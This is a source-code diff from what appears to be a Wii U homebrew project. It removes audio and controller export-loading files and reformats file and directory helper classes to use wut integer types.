EXPORT_DECL(u32, AXGetInputSamplesPerSec, void);
|
||||
EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void);
|
||||
EXPORT_DECL(s32, AXVoiceBegin, void *v);
|
||||
EXPORT_DECL(s32, AXVoiceEnd, void *v);
|
||||
EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type);
|
||||
EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf);
|
||||
EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type);
|
||||
EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol);
|
||||
EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix);
|
||||
EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state);
|
||||
EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src);
|
||||
EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio)
|
||||
EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg);
|
||||
EXPORT_DECL(void, AXFreeVoice, void *v);
|
||||
EXPORT_DECL(void, AXRegisterFrameCallback, void * callback);
|
||||
EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v);
|
||||
EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset);
|
||||
EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset);
|
||||
*/
|
||||
void InitAXFunctionPointers(void)
|
||||
{
|
||||
/*
|
||||
unsigned int sound_handle = 0;
|
||||
unsigned int *funcPointer = 0;
|
||||
|
||||
if(OS_FIRMWARE >= 400)
|
||||
{
|
||||
AXInit = 0;
|
||||
|
||||
OSDynLoad_Acquire("sndcore2.rpl", &sound_handle);
|
||||
OS_FIND_EXPORT(sound_handle, AXInitWithParams);
|
||||
OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec);
|
||||
}
|
||||
else
|
||||
{
|
||||
AXInitWithParams = 0;
|
||||
AXGetInputSamplesPerSec = 0;
|
||||
|
||||
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||
OS_FIND_EXPORT(sound_handle, AXInit);
|
||||
}
|
||||
|
||||
OS_FIND_EXPORT(sound_handle, AXQuit);
|
||||
OS_FIND_EXPORT(sound_handle, AXVoiceBegin);
|
||||
OS_FIND_EXPORT(sound_handle, AXVoiceEnd);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceType);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceVe);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceState);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio);
|
||||
OS_FIND_EXPORT(sound_handle, AXAcquireVoice);
|
||||
OS_FIND_EXPORT(sound_handle, AXFreeVoice);
|
||||
OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback);
|
||||
OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset);
|
||||
OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset);
|
||||
*/
|
||||
}
|
||||
|
||||
void ProperlyEndTransitionAudio(void)
|
||||
{
|
||||
bool (* check_os_audio_transition_flag_old)(void);
|
||||
void (* AXInit_old)(void);
|
||||
void (* AXQuit_old)(void);
|
||||
|
||||
unsigned int *funcPointer = 0;
|
||||
OSDynLoadModule sound_handle;
|
||||
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||
|
||||
OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old);
|
||||
OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old);
|
||||
OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old);
|
||||
|
||||
if (check_os_audio_transition_flag_old())
|
||||
{
|
||||
AXInit_old();
|
||||
AXQuit_old();
|
||||
}
|
||||
}
|
@ -1,40 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __AX_FUNCTIONS_H_
|
||||
#define __AX_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common/types.h"
|
||||
|
||||
void InitAXFunctionPointers(void);
|
||||
void ProperlyEndTransitionAudio(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __VPAD_FUNCTIONS_H_
|
@ -1,26 +0,0 @@
|
||||
#ifndef __EXPORTS_H_
|
||||
#define __EXPORTS_H_
|
||||
|
||||
#include <coreinit/dynload.h>
|
||||
#include <coreinit/debug.h>
|
||||
|
||||
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0;
|
||||
#define EXPORT_VAR(type, var) type var __attribute__((section(".data")));
|
||||
|
||||
|
||||
#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val
|
||||
|
||||
#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \
|
||||
OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \
|
||||
if(!funcPointer) \
|
||||
OSFatal("Function " # func " is NULL"); \
|
||||
EXPORT_FUNC_WRITE(func, funcPointer);
|
||||
|
||||
#define OS_FIND_EXPORT_EX(handle, func, func_p) \
|
||||
funcPointer = 0; \
|
||||
OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \
|
||||
if(!funcPointer) \
|
||||
OSFatal("Function " # func " is NULL"); \
|
||||
EXPORT_FUNC_WRITE(func_p, funcPointer);
|
||||
|
||||
#endif
|
@ -1,50 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "exports.h"
|
||||
#include "padscore_functions.h"
|
||||
|
||||
EXPORT_DECL(void, KPADInit, void);
|
||||
EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type);
|
||||
EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format);
|
||||
EXPORT_DECL(void, WPADEnableURCC, s32 enable);
|
||||
EXPORT_DECL(void, WPADRead, s32 chan, void * data);
|
||||
EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size);
|
||||
|
||||
void InitPadScoreFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
OSDynLoadModule padscore_handle;
|
||||
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
|
||||
|
||||
OS_FIND_EXPORT(padscore_handle, KPADInit);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADProbe);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADEnableURCC);
|
||||
OS_FIND_EXPORT(padscore_handle, WPADRead);
|
||||
OS_FIND_EXPORT(padscore_handle, KPADRead);
|
||||
|
||||
KPADInit();
|
||||
WPADEnableURCC(1);
|
||||
}
|
||||
|
@ -1,122 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __PAD_SCORE_FUNCTIONS_H_
|
||||
#define __PAD_SCORE_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common/types.h"
|
||||
|
||||
#define WPAD_BUTTON_LEFT 0x0001
|
||||
#define WPAD_BUTTON_RIGHT 0x0002
|
||||
#define WPAD_BUTTON_DOWN 0x0004
|
||||
#define WPAD_BUTTON_UP 0x0008
|
||||
#define WPAD_BUTTON_PLUS 0x0010
|
||||
#define WPAD_BUTTON_2 0x0100
|
||||
#define WPAD_BUTTON_1 0x0200
|
||||
#define WPAD_BUTTON_B 0x0400
|
||||
#define WPAD_BUTTON_A 0x0800
|
||||
#define WPAD_BUTTON_MINUS 0x1000
|
||||
#define WPAD_BUTTON_Z 0x2000
|
||||
#define WPAD_BUTTON_C 0x4000
|
||||
#define WPAD_BUTTON_HOME 0x8000
|
||||
|
||||
#define WPAD_CLASSIC_BUTTON_UP 0x0001
|
||||
#define WPAD_CLASSIC_BUTTON_LEFT 0x0002
|
||||
#define WPAD_CLASSIC_BUTTON_ZR 0x0004
|
||||
#define WPAD_CLASSIC_BUTTON_X 0x0008
|
||||
#define WPAD_CLASSIC_BUTTON_A 0x0010
|
||||
#define WPAD_CLASSIC_BUTTON_Y 0x0020
|
||||
#define WPAD_CLASSIC_BUTTON_B 0x0040
|
||||
#define WPAD_CLASSIC_BUTTON_ZL 0x0080
|
||||
#define WPAD_CLASSIC_BUTTON_R 0x0200
|
||||
#define WPAD_CLASSIC_BUTTON_PLUS 0x0400
|
||||
#define WPAD_CLASSIC_BUTTON_HOME 0x0800
|
||||
#define WPAD_CLASSIC_BUTTON_MINUS 0x1000
|
||||
#define WPAD_CLASSIC_BUTTON_L 0x2000
|
||||
#define WPAD_CLASSIC_BUTTON_DOWN 0x4000
|
||||
#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000
|
||||
|
||||
void InitPadScoreFunctionPointers(void);
|
||||
|
||||
|
||||
typedef struct _KPADData
|
||||
{
|
||||
u32 btns_h;
|
||||
u32 btns_d;
|
||||
u32 btns_r;
|
||||
u32 unused_1[5];
|
||||
f32 pos_x;
|
||||
f32 pos_y;
|
||||
u32 unused_2[3];
|
||||
f32 angle_x;
|
||||
f32 angle_y;
|
||||
u32 unused_3[8];
|
||||
u8 device_type;
|
||||
u8 wpad_error;
|
||||
u8 pos_valid;
|
||||
u8 unused_4[1];
|
||||
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
f32 stick_x;
|
||||
f32 stick_y;
|
||||
} nunchuck;
|
||||
|
||||
struct
|
||||
{
|
||||
u32 btns_h;
|
||||
u32 btns_d;
|
||||
u32 btns_r;
|
||||
f32 lstick_x;
|
||||
f32 lstick_y;
|
||||
f32 rstick_x;
|
||||
f32 rstick_y;
|
||||
f32 ltrigger;
|
||||
f32 rtrigger;
|
||||
} classic;
|
||||
|
||||
u32 unused_6[20];
|
||||
};
|
||||
u32 unused_7[16];
|
||||
} KPADData;
|
||||
|
||||
typedef void (* wpad_connect_callback_t)(s32 chan, s32 status);
|
||||
|
||||
extern void (* KPADInit)(void);
|
||||
extern s32 (* WPADProbe)(s32 chan, u32 * pad_type);
|
||||
extern s32 (* WPADSetDataFormat)(s32 chan, s32 format);
|
||||
extern void (* WPADEnableURCC)(s32 enable);
|
||||
extern void (* WPADRead)(s32 chan, void * data);
|
||||
extern s32 (* KPADRead)(s32 chan, void * data, u32 size);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __PAD_SCORE_FUNCTIONS_H_
|
@ -6,8 +6,7 @@
|
||||
|
||||
static volatile uint8_t ucRunOnce = 0;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int main(int argc, char **argv) {
|
||||
//! *******************************************************************
|
||||
//! * Jump to our application *
|
||||
//! *******************************************************************
|
||||
|
234
src/fs/CFile.cpp
234
src/fs/CFile.cpp
@ -1,127 +1,118 @@
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include "CFile.hpp"
|
||||
#include <stdio.h>
|
||||
#include <strings.h>
|
||||
#include <fs/CFile.hpp>
|
||||
|
||||
CFile::CFile()
|
||||
{
|
||||
iFd = -1;
|
||||
mem_file = NULL;
|
||||
filesize = 0;
|
||||
pos = 0;
|
||||
CFile::CFile() {
|
||||
iFd = -1;
|
||||
mem_file = NULL;
|
||||
filesize = 0;
|
||||
pos = 0;
|
||||
}
|
||||
|
||||
CFile::CFile(const std::string & filepath, eOpenTypes mode)
|
||||
{
|
||||
iFd = -1;
|
||||
this->open(filepath, mode);
|
||||
CFile::CFile(const std::string & filepath, eOpenTypes mode) {
|
||||
iFd = -1;
|
||||
this->open(filepath, mode);
|
||||
}
|
||||
|
||||
CFile::CFile(const u8 * mem, int size)
|
||||
{
|
||||
iFd = -1;
|
||||
this->open(mem, size);
|
||||
CFile::CFile(const uint8_t * mem, int32_t size) {
|
||||
iFd = -1;
|
||||
this->open(mem, size);
|
||||
}
|
||||
|
||||
CFile::~CFile()
|
||||
{
|
||||
this->close();
|
||||
CFile::~CFile() {
|
||||
this->close();
|
||||
}
|
||||
|
||||
int CFile::open(const std::string & filepath, eOpenTypes mode)
|
||||
{
|
||||
this->close();
|
||||
int32_t CFile::open(const std::string & filepath, eOpenTypes mode) {
|
||||
this->close();
|
||||
int32_t openMode = 0;
|
||||
|
||||
s32 openMode = 0;
|
||||
// This depend on the devoptab implementation.
|
||||
// see https://github.com/devkitPro/wut/blob/master/libraries/wutdevoptab/devoptab_fs_open.c#L21 fpr reference
|
||||
|
||||
switch(mode)
|
||||
{
|
||||
switch(mode) {
|
||||
default:
|
||||
case ReadOnly:
|
||||
case ReadOnly: // file must exist
|
||||
openMode = O_RDONLY;
|
||||
break;
|
||||
case WriteOnly:
|
||||
openMode = O_WRONLY;
|
||||
case WriteOnly: // file will be created / zerod
|
||||
openMode = O_TRUNC | O_CREAT | O_WRONLY;
|
||||
break;
|
||||
case ReadWrite:
|
||||
case ReadWrite: // file must exist
|
||||
openMode = O_RDWR;
|
||||
break;
|
||||
case Append:
|
||||
openMode = O_APPEND | O_WRONLY;
|
||||
case Append: // append to file, file will be created if missing. write only
|
||||
openMode = O_CREATE | O_APPEND | O_WRONLY;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//! Using fopen works only on the first launch as expected
|
||||
//! on the second launch it causes issues because we don't overwrite
|
||||
//! the .data sections which is needed for a normal application to re-init
|
||||
//! this will be added with launching as RPX
|
||||
iFd = ::open(filepath.c_str(), openMode);
|
||||
if(iFd < 0)
|
||||
return iFd;
|
||||
iFd = ::open(filepath.c_str(), openMode);
|
||||
if(iFd < 0)
|
||||
return iFd;
|
||||
|
||||
|
||||
filesize = ::lseek(iFd, 0, SEEK_END);
|
||||
::lseek(iFd, 0, SEEK_SET);
|
||||
filesize = ::lseek(iFd, 0, SEEK_END);
|
||||
::lseek(iFd, 0, SEEK_SET);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CFile::open(const u8 * mem, int size)
|
||||
{
|
||||
this->close();
|
||||
int32_t CFile::open(const uint8_t * mem, int32_t size) {
|
||||
this->close();
|
||||
|
||||
mem_file = mem;
|
||||
filesize = size;
|
||||
mem_file = mem;
|
||||
filesize = size;
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CFile::close()
|
||||
{
|
||||
if(iFd >= 0)
|
||||
::close(iFd);
|
||||
void CFile::close() {
|
||||
if(iFd >= 0)
|
||||
::close(iFd);
|
||||
|
||||
iFd = -1;
|
||||
mem_file = NULL;
|
||||
filesize = 0;
|
||||
pos = 0;
|
||||
iFd = -1;
|
||||
mem_file = NULL;
|
||||
filesize = 0;
|
||||
pos = 0;
|
||||
}
|
||||
|
||||
int CFile::read(u8 * ptr, size_t size)
|
||||
{
|
||||
if(iFd >= 0)
|
||||
{
|
||||
int ret = ::read(iFd, ptr,size);
|
||||
if(ret > 0)
|
||||
pos += ret;
|
||||
return ret;
|
||||
}
|
||||
int32_t CFile::read(uint8_t * ptr, size_t size) {
|
||||
if(iFd >= 0) {
|
||||
int32_t ret = ::read(iFd, ptr,size);
|
||||
if(ret > 0)
|
||||
pos += ret;
|
||||
return ret;
|
||||
}
|
||||
|
||||
int readsize = size;
|
||||
int32_t readsize = size;
|
||||
|
||||
if(readsize > (s64) (filesize-pos))
|
||||
readsize = filesize-pos;
|
||||
if(readsize > (int64_t) (filesize-pos))
|
||||
readsize = filesize-pos;
|
||||
|
||||
if(readsize <= 0)
|
||||
return readsize;
|
||||
if(readsize <= 0)
|
||||
return readsize;
|
||||
|
||||
if(mem_file != NULL)
|
||||
{
|
||||
memcpy(ptr, mem_file+pos, readsize);
|
||||
pos += readsize;
|
||||
return readsize;
|
||||
}
|
||||
if(mem_file != NULL) {
|
||||
memcpy(ptr, mem_file+pos, readsize);
|
||||
pos += readsize;
|
||||
return readsize;
|
||||
}
|
||||
|
||||
return -1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int CFile::write(const u8 * ptr, size_t size)
|
||||
{
|
||||
if(iFd >= 0)
|
||||
{
|
||||
size_t done = 0;
|
||||
while(done < size)
|
||||
{
|
||||
int ret = ::write(iFd, ptr, size - done);
|
||||
int32_t CFile::write(const uint8_t * ptr, size_t size) {
|
||||
if(iFd >= 0) {
|
||||
size_t done = 0;
|
||||
while(done < size) {
|
||||
int32_t ret = ::write(iFd, ptr, size - done);
|
||||
if(ret <= 0)
|
||||
return ret;
|
||||
|
||||
@ -129,67 +120,54 @@ int CFile::write(const u8 * ptr, size_t size)
|
||||
done += ret;
|
||||
pos += ret;
|
||||
}
|
||||
return done;
|
||||
}
|
||||
return done;
|
||||
}
|
||||
|
||||
return -1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int CFile::seek(long int offset, int origin)
|
||||
{
|
||||
int ret = 0;
|
||||
s64 newPos = pos;
|
||||
int32_t CFile::seek(long int offset, int32_t origin) {
|
||||
int32_t ret = 0;
|
||||
int64_t newPos = pos;
|
||||
|
||||
if(origin == SEEK_SET)
|
||||
{
|
||||
newPos = offset;
|
||||
}
|
||||
else if(origin == SEEK_CUR)
|
||||
{
|
||||
newPos += offset;
|
||||
}
|
||||
else if(origin == SEEK_END)
|
||||
{
|
||||
newPos = filesize+offset;
|
||||
}
|
||||
if(origin == SEEK_SET) {
|
||||
newPos = offset;
|
||||
} else if(origin == SEEK_CUR) {
|
||||
newPos += offset;
|
||||
} else if(origin == SEEK_END) {
|
||||
newPos = filesize+offset;
|
||||
}
|
||||
|
||||
if(newPos < 0)
|
||||
{
|
||||
pos = 0;
|
||||
}
|
||||
else {
|
||||
if(newPos < 0) {
|
||||
pos = 0;
|
||||
} else {
|
||||
pos = newPos;
|
||||
}
|
||||
}
|
||||
|
||||
if(iFd >= 0)
|
||||
ret = ::lseek(iFd, pos, SEEK_SET);
|
||||
if(iFd >= 0)
|
||||
ret = ::lseek(iFd, pos, SEEK_SET);
|
||||
|
||||
if(mem_file != NULL)
|
||||
{
|
||||
if(pos > filesize)
|
||||
{
|
||||
pos = filesize;
|
||||
}
|
||||
}
|
||||
if(mem_file != NULL) {
|
||||
if(pos > filesize) {
|
||||
pos = filesize;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
return ret;
|
||||
}
|
||||
|
||||
int CFile::fwrite(const char *format, ...)
|
||||
{
|
||||
int result = -1;
|
||||
char * tmp = NULL;
|
||||
int32_t CFile::fwrite(const char *format, ...) {
|
||||
char tmp[512];
|
||||
tmp[0] = 0;
|
||||
int32_t result = -1;
|
||||
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
||||
{
|
||||
result = this->write((u8 *)tmp, strlen(tmp));
|
||||
}
|
||||
va_end(va);
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
if((vsprintf(tmp, format, va) >= 0)) {
|
||||
result = this->write((uint8_t *)tmp, strlen(tmp));
|
||||
}
|
||||
va_end(va);
|
||||
|
||||
if(tmp)
|
||||
free(tmp);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
@ -4,54 +4,58 @@
|
||||
#include <stdio.h>
|
||||
#include <string>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include "common/types.h"
|
||||
#include <unistd.h>
|
||||
#include <wut_types.h>
|
||||
|
||||
class CFile
|
||||
{
|
||||
public:
|
||||
enum eOpenTypes
|
||||
{
|
||||
ReadOnly,
|
||||
WriteOnly,
|
||||
ReadWrite,
|
||||
Append
|
||||
};
|
||||
class CFile {
|
||||
public:
|
||||
enum eOpenTypes {
|
||||
ReadOnly,
|
||||
WriteOnly,
|
||||
ReadWrite,
|
||||
Append
|
||||
};
|
||||
|
||||
CFile();
|
||||
CFile(const std::string & filepath, eOpenTypes mode);
|
||||
CFile(const u8 * memory, int memsize);
|
||||
virtual ~CFile();
|
||||
CFile();
|
||||
CFile(const std::string & filepath, eOpenTypes mode);
|
||||
CFile(const uint8_t * memory, int32_t memsize);
|
||||
virtual ~CFile();
|
||||
|
||||
int open(const std::string & filepath, eOpenTypes mode);
|
||||
int open(const u8 * memory, int memsize);
|
||||
int32_t open(const std::string & filepath, eOpenTypes mode);
|
||||
int32_t open(const uint8_t * memory, int32_t memsize);
|
||||
|
||||
bool isOpen() const {
|
||||
if(iFd >= 0)
|
||||
return true;
|
||||
BOOL isOpen() const {
|
||||
if(iFd >= 0)
|
||||
return true;
|
||||
|
||||
if(mem_file)
|
||||
return true;
|
||||
if(mem_file)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void close();
|
||||
void close();
|
||||
|
||||
int read(u8 * ptr, size_t size);
|
||||
int write(const u8 * ptr, size_t size);
|
||||
int fwrite(const char *format, ...);
|
||||
int seek(long int offset, int origin);
|
||||
u64 tell() { return pos; };
|
||||
u64 size() { return filesize; };
|
||||
void rewind() { this->seek(0, SEEK_SET); };
|
||||
int32_t read(uint8_t * ptr, size_t size);
|
||||
int32_t write(const uint8_t * ptr, size_t size);
|
||||
int32_t fwrite(const char *format, ...);
|
||||
int32_t seek(long int offset, int32_t origin);
|
||||
uint64_t tell() {
|
||||
return pos;
|
||||
};
|
||||
uint64_t size() {
|
||||
return filesize;
|
||||
};
|
||||
void rewind() {
|
||||
this->seek(0, SEEK_SET);
|
||||
};
|
||||
|
||||
protected:
|
||||
int iFd;
|
||||
const u8 * mem_file;
|
||||
u64 filesize;
|
||||
u64 pos;
|
||||
protected:
|
||||
int32_t iFd;
|
||||
const uint8_t * mem_file;
|
||||
uint64_t filesize;
|
||||
uint64_t pos;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
@ -28,205 +28,191 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <string>
|
||||
#include <strings.h>
|
||||
#include <algorithm>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/dirent.h>
|
||||
|
||||
#include "DirList.h"
|
||||
#include "utils/StringTools.h"
|
||||
#include <fs/DirList.h>
|
||||
#include <utils/StringTools.h>
|
||||
|
||||
DirList::DirList()
|
||||
{
|
||||
Flags = 0;
|
||||
Filter = 0;
|
||||
Depth = 0;
|
||||
DirList::DirList() {
|
||||
Flags = 0;
|
||||
Filter = 0;
|
||||
Depth = 0;
|
||||
}
|
||||
|
||||
DirList::DirList(const std::string & path, const char *filter, u32 flags, u32 maxDepth)
|
||||
{
|
||||
this->LoadPath(path, filter, flags, maxDepth);
|
||||
this->SortList();
|
||||
DirList::DirList(const std::string & path, const char *filter, uint32_t flags, uint32_t maxDepth) {
|
||||
this->LoadPath(path, filter, flags, maxDepth);
|
||||
this->SortList();
|
||||
}
|
||||
|
||||
DirList::~DirList()
|
||||
{
|
||||
ClearList();
|
||||
DirList::~DirList() {
|
||||
ClearList();
|
||||
}
|
||||
|
||||
bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags, u32 maxDepth)
|
||||
{
|
||||
if(folder.empty()) return false;
|
||||
BOOL DirList::LoadPath(const std::string & folder, const char *filter, uint32_t flags, uint32_t maxDepth) {
|
||||
if(folder.empty())
|
||||
return false;
|
||||
|
||||
Flags = flags;
|
||||
Filter = filter;
|
||||
Depth = maxDepth;
|
||||
Flags = flags;
|
||||
Filter = filter;
|
||||
Depth = maxDepth;
|
||||
|
||||
std::string folderpath(folder);
|
||||
u32 length = folderpath.size();
|
||||
std::string folderpath(folder);
|
||||
uint32_t length = folderpath.size();
|
||||
|
||||
//! clear path of double slashes
|
||||
RemoveDoubleSlashs(folderpath);
|
||||
//! clear path of double slashes
|
||||
StringTools::RemoveDoubleSlashs(folderpath);
|
||||
|
||||
//! remove last slash if exists
|
||||
if(length > 0 && folderpath[length-1] == '/')
|
||||
folderpath.erase(length-1);
|
||||
//! remove last slash if exists
|
||||
if(length > 0 && folderpath[length-1] == '/')
|
||||
folderpath.erase(length-1);
|
||||
|
||||
//! add root slash if missing
|
||||
if(folderpath.find('/') == std::string::npos)
|
||||
if(folderpath.find('/') == std::string::npos) {
|
||||
folderpath += '/';
|
||||
}
|
||||
|
||||
return InternalLoadPath(folderpath);
|
||||
return InternalLoadPath(folderpath);
|
||||
}
|
||||
|
||||
bool DirList::InternalLoadPath(std::string &folderpath)
|
||||
{
|
||||
if(folderpath.size() < 3)
|
||||
return false;
|
||||
BOOL DirList::InternalLoadPath(std::string &folderpath) {
|
||||
if(folderpath.size() < 3)
|
||||
return false;
|
||||
|
||||
struct dirent *dirent = NULL;
|
||||
DIR *dir = NULL;
|
||||
struct dirent *dirent = NULL;
|
||||
DIR *dir = NULL;
|
||||
|
||||
dir = opendir(folderpath.c_str());
|
||||
if (dir == NULL)
|
||||
return false;
|
||||
dir = opendir(folderpath.c_str());
|
||||
if (dir == NULL)
|
||||
return false;
|
||||
|
||||
while ((dirent = readdir(dir)) != 0)
|
||||
{
|
||||
bool isDir = dirent->d_type & DT_DIR;
|
||||
const char *filename = dirent->d_name;
|
||||
while ((dirent = readdir(dir)) != 0) {
|
||||
BOOL isDir = dirent->d_type & DT_DIR;
|
||||
const char *filename = dirent->d_name;
|
||||
|
||||
if(isDir)
|
||||
{
|
||||
if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
|
||||
continue;
|
||||
if(isDir) {
|
||||
if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
|
||||
continue;
|
||||
|
||||
if((Flags & CheckSubfolders) && (Depth > 0))
|
||||
{
|
||||
int length = folderpath.size();
|
||||
if(length > 2 && folderpath[length-1] != '/')
|
||||
folderpath += '/';
|
||||
folderpath += filename;
|
||||
if((Flags & CheckSubfolders) && (Depth > 0)) {
|
||||
int32_t length = folderpath.size();
|
||||
if(length > 2 && folderpath[length-1] != '/') {
|
||||
folderpath += '/';
|
||||
}
|
||||
folderpath += filename;
|
||||
|
||||
Depth--;
|
||||
InternalLoadPath(folderpath);
|
||||
folderpath.erase(length);
|
||||
Depth++;
|
||||
}
|
||||
InternalLoadPath(folderpath);
|
||||
folderpath.erase(length);
|
||||
Depth++;
|
||||
}
|
||||
|
||||
if(!(Flags & Dirs))
|
||||
continue;
|
||||
}
|
||||
else if(!(Flags & Files))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if(!(Flags & Dirs))
|
||||
continue;
|
||||
} else if(!(Flags & Files)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if(Filter)
|
||||
{
|
||||
char * fileext = strrchr(filename, '.');
|
||||
if(!fileext)
|
||||
continue;
|
||||
if(Filter) {
|
||||
char * fileext = strrchr(filename, '.');
|
||||
if(!fileext)
|
||||
continue;
|
||||
|
||||
if(strtokcmp(fileext, Filter, ",") == 0)
|
||||
AddEntrie(folderpath, filename, isDir);
|
||||
}
|
||||
else
|
||||
{
|
||||
AddEntrie(folderpath, filename, isDir);
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
